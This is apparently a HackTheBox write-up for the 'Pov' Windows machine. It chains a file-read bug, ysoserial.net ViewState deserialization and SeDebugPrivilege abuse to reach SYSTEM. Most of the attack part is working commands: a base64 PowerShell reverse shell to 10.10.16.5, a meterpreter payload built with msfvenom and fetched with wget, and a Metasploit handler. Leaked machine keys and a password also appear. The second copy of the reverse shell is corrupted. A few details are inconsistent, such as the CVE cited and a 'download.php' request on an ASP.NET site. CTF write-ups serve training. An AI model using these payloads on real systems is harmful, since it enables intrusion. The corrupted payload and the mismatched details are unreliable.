Post

HackTheBox Pov

Writeup for HackTheBox Pov

HackTheBox Pov

Machine Synopsis

Pov is a medium Windows machine that starts with a webpage featuring a business site. Enumerating the initial webpage, an attacker is able to find the subdomain dev.pov.htb. Navigating to the newly discovered subdomain, a download option is vulnerable to remote file read, giving an attacker the means to get valuable information from the web.config file. The subdomain uses the ViewState mechanism, which, in combination with the secrets leaked from the web.config file, is vulnerable to insecure deserialization, leading to remote code execution as the user sfitz. Looking at the remote filesystem, an attacker can discover and manipulate a file that reveals the credentials for the user alaading. Once the attacker has code execution as the user alaading the SeDebugPrivilege is abused to gain code execution in the context of a privileged application, ultimately resulting in code execution as nt authority\system. (Source)

Key exploitation techniques:

  • Subdomain enumeration
  • Remote File Read (RFR) / Local File Inclusion (LFI)
  • ASP.NET ViewState insecure deserialization (e.g., CVE-2020-0688)
  • PSCredential file decryption
  • SeDebugPrivilege abuse via RunasCs
  • Process migration for SYSTEM access

Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
❯ nmap -p- --min-rate 10000 10.10.11.251
PORT   STATE SERVICE
80/tcp open  http

❯ nmap -p 80 -sCV 10.10.11.251
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: pov.htb
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

The hostname pov.htb was added to /etc/hosts.

1
2
echo -e '10.10.11.251\t\tpov.htb' | sudo tee -a /etc/hosts
10.10.11.251		pov.htb

webpage

ffuf was used for subdomain enumeration.

1
2
3
4
❯ ffuf -u http://pov.htb -H "Host: FUZZ.pov.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -mc all -ac
...
dev         [Status: 302, Size: 152, Words: 9, Lines: 2, Duration: 462ms]
...

The dev.pov.htb subdomain was found and added to /etc/hosts.

dev_webpage

Browsing dev.pov.htb, the term “ASP.NET” was frequently bolded, suggesting the underlying technology.

download_cv_button

Directory busting with feroxbuster yielded no immediate results.

1
2
3
4
5
❯ feroxbuster -u http://dev.pov.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -x aspx
<nothing> interesting>

❯ feroxbuster -u http://dev.pov.htb/portfolio -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -x aspx
<nothing interesting too>

The “Download CV” function in the web application was inspected via Burp Suite.

Exploitation

Remote File Read & ViewState Deserialization (sfitz)

download_cv_request

The “Download CV” function exposed a file parameter, which was vulnerable to Local File Inclusion (LFI) / Remote File Read (RFR).

download_cv_default_aspx

This was confirmed by accessing C:\windows\system32\drivers\etc\hosts.

download_cv_etc_hosts

The vulnerability was then used to retrieve web.config, a critical ASP.NET configuration file, located at the web root.

download_cv_web_config

<configuration>
  <system.web>
    <customErrors mode="On" defaultRedirect="default.aspx" />
    <httpRuntime targetFramework="4.5" />
    <machineKey decryption="AES" decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" validation="SHA1" validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" />
  </system.web>
    <system.webServer>
        <httpErrors>
            <remove statusCode="403" subStatusCode="-1" />
            <error statusCode="403" prefixLanguageFilePath="" path="http://dev.pov.htb:8080/portfolio" responseMode="Redirect" />
        </httpErrors>
        <httpRedirect enabled="true" destination="http://dev.pov.htb/portfolio" exactDestination="false" childOnly="true" />
    </system.webServer>
</configuration>

The web.config file contained decryptionKey and validationKey values, which are essential for exploiting ASP.NET ViewState deserialization vulnerabilities (e.g., CVE-2020-0688).

ysoserial.net binary was used to generate a malicious ViewState payload. A ping command was initially used for out-of-band confirmation.

1
2
# On Windows attacking machine (or Wine/Mono)
PS> ./ysoserial.exe -p ViewState -g WindowsIdentity --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" --path="/portfolio" -c "ping 10.10.16.5"

The generated ViewState was then replaced in the intercepted Burp Suite request for download.php. A tcpdump listener confirmed successful execution.

1
2
3
4
5
sudo tcpdump -i tun0 icmp
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
IP pov.htb > shiro: ICMP echo request, id 1, seq 1, length 40
IP shiro > pov.htb: ICMP echo reply, id 1, seq 1, length 40
... (multiple ping requests)

A PowerShell reverse shell payload (Base64 encoded) was generated using revshells.com and then embedded into a new malicious ViewState via ysoserial.net.

1
PS> ./ysoserial.exe -p ViewState -g WindowsIdentity --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" --path="/portfolio" -c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4ANQAiACwAOQA5ADkAOQApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdCAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="

A netcat listener was set up, and the request with the malicious ViewState was sent.

1
2
3
4
5
6
sudo rlwrap -cAr nc -lvnp 9999
listening on [any] 9999 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.251] 49672
whoami
pov\sfitz
PS C:\windows\system32\inetsrv>

This granted a reverse shell as pov\sfitz.

Privilege Escalation

PSCredential Decryption & SeDebugPrivilege Abuse (SYSTEM)

Enumeration of the sfitz user’s directories revealed C:\users\sfitz\Documents\connection.xml.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
PS C:\windows\system32\inetsrv> cd C:\users
PS C:\users> ls
...
d-----       12/25/2023   2:24 PM                sfitz
PS C:\users\sfitz> cd Documents
PS C:\users\sfitz\Documents> ls
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       12/25/2023   2:26 PM           1838 connection.xml

PS C:\users\sfitz\Documents> cat connection.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">alaading</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cdfb54340c2929419cc739fe1a35bc88000000000200000000001066000000010000200000003b44db1dda743e1442e77627255768e65ae76e179107379a964fa8ff156cee21000000000e8000000002000020000000c0bd8a88cfd817ef9b7382f050190dae03b7c81add6b398b2d32fa5e5ade3eaa30000000a3d1e27f0b3c29dae1348e8adf92cb104ed1d95e39600486af909cf55e2ac0c239d4f671f79d80e425122845d4ae33b240000000b15cd305782edae7a3a75c7e8e3c7d43bc23eaae88fde733a28e1b9437d3766af01fdf6f2cf99d2a23e389326c786317447330113c5cfa25bc86fb0c6e1edda6</SS>
    </Props>
  </Obj>
</Objs>

This connection.xml file contained a PSCredential object with an encoded password for alaading. The password was decrypted using PowerShell’s Import-Clixml and GetNetworkCredential().password methods.

PS C:\users\sfitz\Documents> $cred = Import-Clixml .\connection.xml
PS C:\users\sfitz\Documents> $cred.GetNetworkCredential().password
f8gQ8fynP44ek1m3

The password for alaading was f8gQ8fynP44ek1m3. Invoke-Command was used to confirm code execution as alaading.

1
2
3
4
5
PS C:\users\sfitz\Documents> $username = 'alaading'
PS C:\users\sfitz\Documents> $password = 'f8gQ8fynP44ek1m3'
PS C:\users\sfitz\Documents> $securePassword = ConvertTo-SecureString $password -AsPlainText -Force
PS C:\users\sfitz\Documents> Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock {whoami}
pov\alaading

The previously generated PowerShell reverse shell payload was reused to get a new shell as alaading.

1
PS C:\users\sfitz\Documents> Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock {powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4ANQAiACwAOQA5ADkAOQApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdCAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYwBrAIAKAAgACIAUABTAIAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgBhAGMAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=}

A netcat listener was set up to catch the shell.

1
2
3
4
5
6
7
8
sudo rlwrap -cAr nc -lvnp 9999
listening on [any] 9999 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.251] 49680
whoami
pov\alaading
PS C:\Users\alaading\Documents> cd ../Desktop
PS C:\Users\alaading\Desktop> cat user.txt
9792d38fe39c3a968f2b909d53d208b0

The user.txt flag was retrieved. Checking alaading’s privileges with whoami /priv revealed SeDebugPrivilege was present but disabled.

1
2
3
4
5
6
7
8
PS C:\Users\alaading\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                    State
============================= ============================== ========
SeDebugPrivilege              Debug programs                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

RunasCs, a utility to run processes with explicit credentials and privileges, was used to enable SeDebugPrivilege and execute a malicious payload. A meterpreter reverse shell payload was generated with msfvenom.

1
2
3
4
5
6
7
❯ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.5 LPORT=8888 -f exe -o rev.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: rev.exe

RunasCs.exe was downloaded from its GitHub releases.

1
2
3
4
5
❯ wget https://github.com/antonioCoco/RunasCs/releases/download/v1.5/RunasCs.zip
❯ unzip RunasCs.zip
Archive:  RunasCs.zip
  inflating: RunasCs.exe
  inflating: RunasCs_net2.exe

A Python HTTP server was started to serve rev.exe and RunasCs.exe. A metasploit handler was configured to catch the meterpreter shell.

1
2
3
4
5
6
7
8
9
10
11
12
# On attacking machine
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

# In msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.10.16.5
msf6 exploit(multi/handler) > set lport 8888
msf6 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 10.10.16.5:8888

rev.exe and RunasCs.exe were downloaded to the victim machine’s C:\Users\alaading\Documents\ directory.

1
2
3
4
5
6
7
PS C:\Users\alaading\Documents> wget http://10.10.16.5/rev.exe -O rev.exe
PS C:\Users\alaading\Documents> wget http://10.10.16.5/RunasCs.exe -O RunasCs.exe
PS C:\Users\alaading\Documents> ls
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        1/31/2025  12:17 AM           7168 rev.exe
-a----        1/31/2025  12:24 AM          51712 RunasCs.exe

rev.exe was executed using RunasCs.exe with alaading’s credentials.

1
PS C:\Users\alaading\Documents> .\RunasCs.exe alaading f8gQ8fynP44ek1m3 "C:\\Users\\alaading\\Documents\\rev.exe"

The metasploit handler caught the meterpreter session.

1
2
msf6 exploit(multi/handler) > [*] Sending stage (203846 bytes) to 10.10.11.251
[*] Meterpreter session 2 opened (10.10.16.5:8888 -> 10.10.11.251:49688)

Within the meterpreter session, getprivs confirmed SeDebugPrivilege was enabled. Process listing (ps) identified winlogon.exe (PID 548) as a suitable SYSTEM process for migration.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
meterpreter > getprivs
Enabled Process Privileges
==========================
Name
----
SeChangeNotifyPrivilege
SeDebugPrivilege
SeIncreaseWorkingSetPrivilege

meterpreter > ps
Process List
============
 PID   PPID  Name          Arch  Session  User          Path
 ---   ----  ----          ----  -------  ----          ----
 ...
 548   472   winlogon.exe  x64   1                      C:\Windows\System32\winlogon.exe
 ...

meterpreter > migrate 548
[*] Migrating from 4420 to 548...
[*] Migration completed successfully.

After successful migration, getuid confirmed NT AUTHORITY\SYSTEM access. A shell was spawned to retrieve root.txt.

1
2
3
4
5
6
7
8
9
10
11
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > shell
Process 940 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>type c:\users\administrator\desktop\root.txt
bcd5f4c8c9dd3253ea8d42a251df2b88
This post is licensed under CC BY 4.0 by the author.